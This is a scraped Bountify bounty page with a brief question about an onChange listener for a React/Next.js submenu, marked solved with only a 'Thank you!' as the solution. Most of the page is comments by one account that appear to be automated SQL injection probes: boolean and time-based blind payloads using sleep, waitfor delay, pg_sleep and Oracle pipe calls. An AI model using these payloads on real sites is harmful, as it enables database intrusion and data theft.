On change Listener React/Nextjs
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

SOLVED.

Can you please help me add an on-change listener for this react code for a submenu? The code is here. I can print to console but I don't know how to trigger the href of the selected item.

ofO7406w
gbtagbbj 6 months ago
-1 OR 2+951-951-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+951-951-1=0+0+0+1
gbtagbbj 6 months ago
1 RLIKE (SELECT (CASE WHEN (331=331) THEN 1 ELSE 0x28 END)) --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
-1 OR 2+834-834-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 3+834-834-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 2+812-812-1=0+0+0+1
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
-1 OR 3+812-812-1=0+0+0+1
gbtagbbj 6 months ago
-1' OR 2+628-628-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 3+628-628-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 2+216-216-1=0+0+0+1 or 'so7iZSMh'='
gbtagbbj 6 months ago
-1' OR 3+216-216-1=0+0+0+1 or 'so7iZSMh'='
gbtagbbj 6 months ago
-1" OR 2+137-137-1=0+0+0+1 --
gbtagbbj 6 months ago
-1" OR 3+137-137-1=0+0+0+1 --
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
pupqwTrL'
gbtagbbj 6 months ago
-5 OR 117=(SELECT 117 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
-5) OR 690=(SELECT 690 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
AR3C0OI1'
gbtagbbj 6 months ago
-1)) OR 153=(SELECT 153 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5 OR 425=(SELECT 425 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
xYI0NsKV' OR 281=(SELECT 281 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 706=(SELECT 706 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
chT6wF5A') OR 296=(SELECT 296 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 325=(SELECT 325 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
BaCFchOI')) OR 945=(SELECT 945 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
uVcCvRPY' OR 810=(SELECT 810 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
nuDL1QuM') OR 579=(SELECT 579 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
XLpj2Td2')) OR 140=(SELECT 140 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
Wh6zf10X
gbtagbbj 6 months ago
-1 OR 2+182-182-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+182-182-1=0+0+0+1
gbtagbbj 6 months ago
555 RLIKE (SELECT (CASE WHEN (382=382) THEN 1 ELSE 0x28 END)) --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
4JwOxmCq'
gbtagbbj 6 months ago
-5 OR 213=(SELECT 213 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 173=(SELECT 173 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 95=(SELECT 95 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
tEElebay' OR 571=(SELECT 571 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
TWDFQLcY') OR 534=(SELECT 534 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
20hq4V6X')) OR 565=(SELECT 565 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
3sWbabP8
gbtagbbj 6 months ago
-1 OR 2+564-564-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+564-564-1=0+0+0+1
gbtagbbj 6 months ago
RLIKE (SELECT (CASE WHEN (405=405) THEN 1 ELSE 0x28 END)) --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
SEjLtr4h'
gbtagbbj 6 months ago
-5 OR 849=(SELECT 849 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 992=(SELECT 992 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 540=(SELECT 540 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
HzjYyXTM' OR 374=(SELECT 374 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
Gf78Tqwp') OR 311=(SELECT 311 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
BkLHqcFm')) OR 797=(SELECT 797 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
awarded to GFalcon
Tags
react-js

Crowdsource coding tasks.

1 Solution

Winning solution
Thank you!
fullakingi 1 year ago
-1 OR 2+989-989-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 3+989-989-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 2+201-201-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+201-201-1=0+0+0+1
gbtagbbj 6 months ago
-1' OR 2+137-137-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 3+137-137-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 2+317-317-1=0+0+0+1 or 'RZaEdzI4'='
gbtagbbj 6 months ago
-1' OR 3+317-317-1=0+0+0+1 or 'RZaEdzI4'='
gbtagbbj 6 months ago
-1" OR 2+558-558-1=0+0+0+1 --
gbtagbbj 6 months ago
-1" OR 3+558-558-1=0+0+0+1 --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
CzUZnQ8b'
gbtagbbj 6 months ago
FFTRIAMA' OR 45=(SELECT 45 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
ebTfk3VG') OR 117=(SELECT 117 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
wOiYFJKZ')) OR 323=(SELECT 323 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
e'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
TOa6Q9uf
gbtagbbj 6 months ago
-1 OR 2+953-953-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+953-953-1=0+0+0+1
gbtagbbj 6 months ago
555 RLIKE (SELECT (CASE WHEN (210=210) THEN 1 ELSE 0x28 END)) --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
J72nPRvu'
gbtagbbj 6 months ago
-5 OR 664=(SELECT 664 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 392=(SELECT 392 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 921=(SELECT 921 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
X7YcjlQD' OR 271=(SELECT 271 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
5FhJSFdP') OR 627=(SELECT 627 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
okUTqI0r')) OR 301=(SELECT 301 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
0FZfDPmH
gbtagbbj 6 months ago
-1 OR 2+445-445-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 3+445-445-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 2+785-785-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+785-785-1=0+0+0+1
gbtagbbj 6 months ago
-1' OR 2+763-763-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 3+763-763-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 2+182-182-1=0+0+0+1 or 'mGHPbjuk'='
gbtagbbj 6 months ago
-1' OR 3+182-182-1=0+0+0+1 or 'mGHPbjuk'='
gbtagbbj 6 months ago
-1" OR 2+126-126-1=0+0+0+1 --
gbtagbbj 6 months ago
-1" OR 3+126-126-1=0+0+0+1 --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
cuOQ1fU1'
gbtagbbj 6 months ago
-5 OR 631=(SELECT 631 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 773=(SELECT 773 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 406=(SELECT 406 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
uYUZoXYF' OR 101=(SELECT 101 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
fnI9tIs4') OR 166=(SELECT 166 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
aIETtKRP')) OR 557=(SELECT 557 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago